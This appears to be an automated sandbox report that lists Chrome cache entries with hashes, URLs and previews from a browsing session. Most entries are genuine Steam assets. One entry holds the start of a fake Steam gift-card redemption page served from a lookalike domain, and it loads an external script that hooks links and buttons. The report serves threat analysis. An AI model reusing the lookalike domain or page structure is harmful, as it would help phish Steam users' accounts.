Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1430
Entropy (8bit):	6.915444207165524
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVag7yJ3VR7GmXF54+mC8yq8/23CMwMIE+b8Dllc:HZNn2lpWJ3nnwDNmlPbUI
MD5:	AFC159FE5F0F26FA7282505DA9887CC3
SHA1:	C1CD55380C2AF435876989F94E8B0715042C2ADE
SHA-256:	4BE942A34871DD6F8F14B43D27C31B049BE7F6544C05685D4F35ABDD329DE176
SHA-512:	8F7DCB7E99CEED8F86575A05FF7D329EE2FC67CD18C6D53B2833A6AA1EEDE2586D57688F27901D941D2B6351412957468CCE5CA69101D86911390BF04FD82763
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_twitter.png
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:6E745BD792D411EE8F80E4F5B5148EC9" xmpMM:DocumentID="xmp.did:6E745BD892D411EE8F80E4F5B5148EC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6E745BD592D411EE8F80E4F5B5148EC9" stRef:documentID="xmp.did:6E745BD692D411EE8F80E4F5B5148EC9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>{KL.....IDATx.b..U.d``.......@...4.....0.4.9...[`...e.5U...6V..G..d.....I2.].......?y.............^./....&.....

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	33738
Entropy (8bit):	5.263546738678096
Encrypted:	false
SSDEEP:	768:1rv31+3R8zIF/3doix2R1pW81qWZRhcJGMJhpJfS2:FpP1vZRxGzS2
MD5:	0ABAE40EE6CFA8B72ABFB79829D53400
SHA1:	E87D3AA5EBFEAC3D486FB3D9913A81BE19AF3762
SHA-256:	C54F7E964FABEFC31C2DF4864777DB262E62C3236A293FBD075DEAF1D538C2ED
SHA-512:	A347D51254A5BA555F5CFCFFAAEB40F687C549B8E2C76EAF98F4E4522A8F5AE5A358F10119608C2657E30176D4675FD11C2670DD3F923BD788F8D30CA45A5575
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/buttons.css?v=CrrkDubPqLcq&l=english
Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	dropped
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 16 x 16
Category:	dropped
Size (bytes):	1429
Entropy (8bit):	7.114906411921738
Encrypted:	false
SSDEEP:	24:g9XPYOEocal1hQWwjx82lY2T3+VLHnmbHn4yJ3VZHnLRHn5GY82Df9wIyvcyPO:g9fsIzNn2KhHWHbJ3XHlH5L823yPO
MD5:	1658BD9BCE49908BAC30F075D520DFBC
SHA1:	1174BCC3DA90B32BCD21B75AF923F2C869CEE552
SHA-256:	96A49A32967F0A65E3131A3AA1D493425C15325787448300F64B138D6710F51C
SHA-512:	DD44D33A623F538E27183A7F689B9E97F1E1D85D9A6C09A09532FB6A9D61D13C31FC3B3F2220788092E8FB6E629D4756564C8B8D7EFCD6C430EEC98F592342D3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............UV\........hin...RTZRSY.........egl...FGN.....;<C......\]crsxTV\;=D?AH68??@G.....ikpY[a............8:A......BDJ......abh...YZ`...sty...LNTMOU......>@FKMS...SU[79@BDKACI57>.........!..XMP DataXMP<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 24.7 (Windows)" xmpMM:InstanceID="xmp.iid:A00F86217F2E11EE954AD5AEB68850C4" xmpMM:DocumentID="xmp.did:A00F86227F2E11EE954AD5AEB68850C4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A00F861F7F2E11EE954AD5AEB68850C4" stRef:documentID="xmp.did:A00F86207F2E11EE954AD5AEB68850C4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2641)
Category:	downloaded
Size (bytes):	55418
Entropy (8bit):	4.541411011785248
Encrypted:	false
SSDEEP:	1536:6KdfxFmQR0dHdaxSMIUBNIKUjcuSIIIN9Xb5uPIh3UC+tM7GBHecX7dURZ:6NXrkbh2
MD5:	3A63DA27AD755EA14DC2B92BC76B2D34
SHA1:	EF065FBD2B354E5FEF8971A79A392E9E0F24C24B
SHA-256:	B5C3EFBB1A88411573C33A32D2B9C9A30488DBDC4AADA5D9D9F799C1065EF884
SHA-512:	31AB5CE5C92B790BD7249AD64BAD28EFBF7C60157052691E404F964211CB5082744DACE92D63EB131B655592592E31D98DD8C0A8BFA4C6FA7AD85FB60EE1A156
Malicious:	false
Reputation:	low
URL:	https://sneamcomnnumnlty.com/7d1d7c577e075156525b46100527505446445855125670520311
Preview:	<!DOCTYPE html><html class=" responsive" lang="en"><head><script async src='/7d1d7c577e0751595d5c574d.js'></script><script>window.triggers = ["a","button"]</script>.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><meta name="twitter:card" content="summary_large_image"><meta name="twitter:site" content="@steam"><meta property="og:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="twitter:title" content="Redeem a Steam Gift Card or Wallet Code"><meta property="og:type" content="website"><meta property="fb:app_id" content="105386699540688"><meta property="og:site" content="Steam"><meta property="og:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta name="twitter:image" content="https://store.akamai.steamstatic.com/public/shared/images/responsive/share_steam_logo.png"><meta proper

Chrome Cache Entry: 465

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 466

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.538909765557392
Encrypted:	false
SSDEEP:	3:H25BBthpd5:W5hP
MD5:	206BE186BE1919916CA8556F077B6AF7
SHA1:	3B22F0C3A78AB849EBD6E09A0205E802A9D6ACA2
SHA-256:	51B272191B3BB04B6843ACFCEA05A1C7BCC4CB4D43E5CBA1282F0702531EB523
SHA-512:	C88B2FB5B698C41EA15E5472C6403F2490B0758B8A34A6CBBE11EA1DC54F281B304365F22653B8355251DC14C43DE3A9F23FAEE1741AC46DA22558737298D82F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAn8aZfoFCRUsxIFDchGVTYSEAkKrp2xjgKqNBIFDchGVTY=?alt=proto
Preview:	CgkKBw3IRlU2GgAKCQoHDchGVTYaAA==

Chrome Cache Entry: 467

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	dropped
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (945)
Category:	downloaded
Size (bytes):	131882
Entropy (8bit):	5.376896897488642
Encrypted:	false
SSDEEP:	1536:XtTqru1xouE1ZTnPrMiY6WRdA2qZpXnBnK3xsVdFE7zptEvp62kdS6F:JmuWl7ndK3xsVdKEd56F
MD5:	64141792105EA4861F9F33294D65AB81
SHA1:	506D9100CAA070005A890BD496DE64C437D6D008
SHA-256:	21758ED084CD0E37E735722EE4F3957EA960628A29DFA6C3CE1A1D47A2D6E4F7
SHA-512:	30E0A9AA84688AC093C09F2F41089C899BF4A9CA5138289D7A4DC64C54BA293936FB2EE6BA724894A09590509863EA7712B6055C28E61639DF4D34520B538759
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react-dom@18.2.0/umd/react-dom.production.min.js
Preview:	/*. @license React. * react-dom.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. /.(function(){/. Modernizr 3.0.0pre (Custom Build) \| MIT.*/.'use strict';(function(Q,mb){"object"===typeof exports&&"undefined"!==typeof module?mb(exports,require("react")):"function"===typeof define&&define.amd?define(["exports","react"],mb):(Q=Q\|\|self,mb(Q.ReactDOM={},Q.React))})(this,function(Q,mb){function n(a){for(var b="https://reactjs.org/docs/error-decoder.html?invariant="+a,c=1;c<arguments.length;c++)b+="&args[]="+encodeURIComponent(arguments[c]);return"Minified React error #"+a+"; visit "+b+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}.function nb(a,b){Ab(a,b);Ab(a+"Capture",b)}function Ab(a,b){$b[a]=b;for(a=0;a<b.length;a++)cg.add(b[a])}function cj(a){if(Zd.call(dg,a))retu

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28021), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	299124
Entropy (8bit):	5.906543624262357
Encrypted:	false
SSDEEP:	6144:N4Ga79zYy//wW+z0/wWaiJ/wWX/71oRyvC:da79f+9
MD5:	88F72E2D4C5CB2DA4C810E9E6ABF3FEF
SHA1:	08BFAA9D07A37DC0D318F7E98BA831D4681C7E04
SHA-256:	113F338A0FF68822CB3297117D8E0B42EDA62387B6140F1C1D52004A1FDAEA73
SHA-512:	89D69FEC0C4FF4FDC3C60D1557B4BBC4375C8E22C13A1CD22F818D41A6F10914F346226E9A6ABDA0973547BF92475120A86560E6866990D614082788594FB7C4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/applications/store/main.css?v=iPcuLUxcstpM&l=english
Preview:	...........html body.events_hub.v6{background-color:#171a21;font-family:"Motiva Sans",Arial,Helvetica,sans-serif}@media screen and (max-width: 400px){html body.events_hub.v6{scrollbar-width:none;-ms-overflow-style:none}html body.events_hub.v6::-webkit-scrollbar{display:none}}html body.events_hub.v6 #global_header{position:fixed;z-index:12;width:100%;box-sizing:border-box;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_header{box-shadow:none;transition:transform .15s ease-in-out}html body.events_hub.v6 .responsive_page_template_content{padding-bottom:0}html body.events_hub.v6 ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}html body.events_hub.v6 .perf_timing_area{position:absolute;bottom:0}body.rewards ._2uHYtSBLSS1MxFonkOXr0O{flex:1;display:flex;flex-direction:column;min-height:0}..._3Knd7Am6tTwTTu605YN4IX{position:fixed;top:0;bottom:0;right:0;left:0;z-index:1599}._1S6CCCQlcTTAAHh3LMTLh1:focus{outline:none}.GreenEnvelopeMenu,.P

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65256), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	212727
Entropy (8bit):	5.057034139530741
Encrypted:	false
SSDEEP:	3072:J2diEMmwmQErjMuf3FyJzr6oQHExLNOUA72xiLu:J26mwmQwHf1yl6oQHnS
MD5:	DBF83B0B06701F47D98E0D3C67E17F22
SHA1:	ADCDA5E5A4FC3F714AF57A04D37E29A8740B8A14
SHA-256:	5F3B1FA6AEEAED942D188BE3A1C725386699AB82F8FF0D5CED0DD7A81DC4C55A
SHA-512:	790C3DDBD271919B677DF96E5B17061EE9C39B1B4FBE21F3AFA487B66512399912C2B6B41A1CF19D97A74D7015F1137289B65FF9342BED4FE3EB4A1819C0D16D
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/.."use strict";(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[2256],{33800:e=>{e.exports=JSON.parse('{"language":"english","Steam_Platform":"Steam","Button_About":"About","Button_Append":"Append","Button_Back":"Back","Button_Cancel":"Cancel","Button_Close":"Close","Button_Clone":"Clone","Button_Confirm":"Confirm","Button_Copy":"Copy","Button_Copied":"Copied","Button_CopyClipboard":"Copy to Clipboard","Button_CopyLink":"Copy Link","Button_Continue":"Continue","Button_Create":"Create","Button_Delete":"Delete","Button_Discuss":"Discuss","Button_Dismiss":"Dismiss","Button_Edit":"Edit","Button_Learn":"Learn more here","Button_Publish":"Publish","Button_Published":"Published","Button_Post":"Post","Button_OK":"OK","Button_Done":"Done","Button_Overwrite":"Overwrite","Button_Retry":"Retry","Button_Remove":"Remove","Button_

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4458), with CRLF line terminators
Category:	dropped
Size (bytes):	156982
Entropy (8bit):	5.435620292080094
Encrypted:	false
SSDEEP:	1536:D11KAh60MhmjGFhB1e5lnl9b/PdVcTzWMGEN3qxVqGoteFANNfsf9M6kQuOEmTdh:808B1e5/9b3dVcj9qVqZrrUEvm
MD5:	9CAB64AE7399518E41E6B1CBDB12046D
SHA1:	1DD2DD1313D0E197E986F37284ED8EC4DF08AFF5
SHA-256:	A61DF7D1067A60F7179FF71071A3D8AC030DD3B36F40A3D51DE87A97106E2693
SHA-512:	D4A3C7DB2B80FFD8BECF08EF7BC74661581B006EFDC2FF018D4FB4651BF1ABD8ECA76901202C75DA9B80D1FFEE0FA316CE7E38202A3AE223CA3C6E47DC8F9371
Malicious:	false
Reputation:	low
Preview:	..Steam = {...sm_bInitialized: false,...sm_bUserInClient: false,...sm_bUserInGameOverlay: false,...sm_bUserInTenfootBrowser: false,...sm_bUserInMobileChat: false,...sm_bUserInMobileApp: false,.....BIsUserInSteamClient: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient;...},.....BIsUserInGameOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInGameOverlay...},.....BIsUserInSteamTenfootBrowser: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInTenfootBrowser;...},.....BIsUserInClientOrOverlay: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInClient \|\| Steam.sm_bUserInGameOverlay;...},.....BIsUserInSteamMobileChat: function()...{....if ( !Steam.sm_bInitialized ).....Steam.Init();......return Steam.sm_bUserInMobileChat;...},.....BIsUserInSteamMobileApp: function()...{....if ( !Steam.sm_bInitialized )...

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 646 x 250, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	4904
Entropy (8bit):	7.899029446643728
Encrypted:	false
SSDEEP:	96:OdBnjzG7DZTxqIfy33nn/qf46vhPQuAgul5SZBsj51v1f:OdBnjwDZTx5fy33no4ShRjuX2sd1vt
MD5:	1E91D02CF5A902F38F2923C006D79281
SHA1:	CB8126B32C2274E0394246B40BD0B7F9F847E44C
SHA-256:	F72611E2DF8E88204009FD896D05D5E8E83C77009C63943BBFFA169559934849
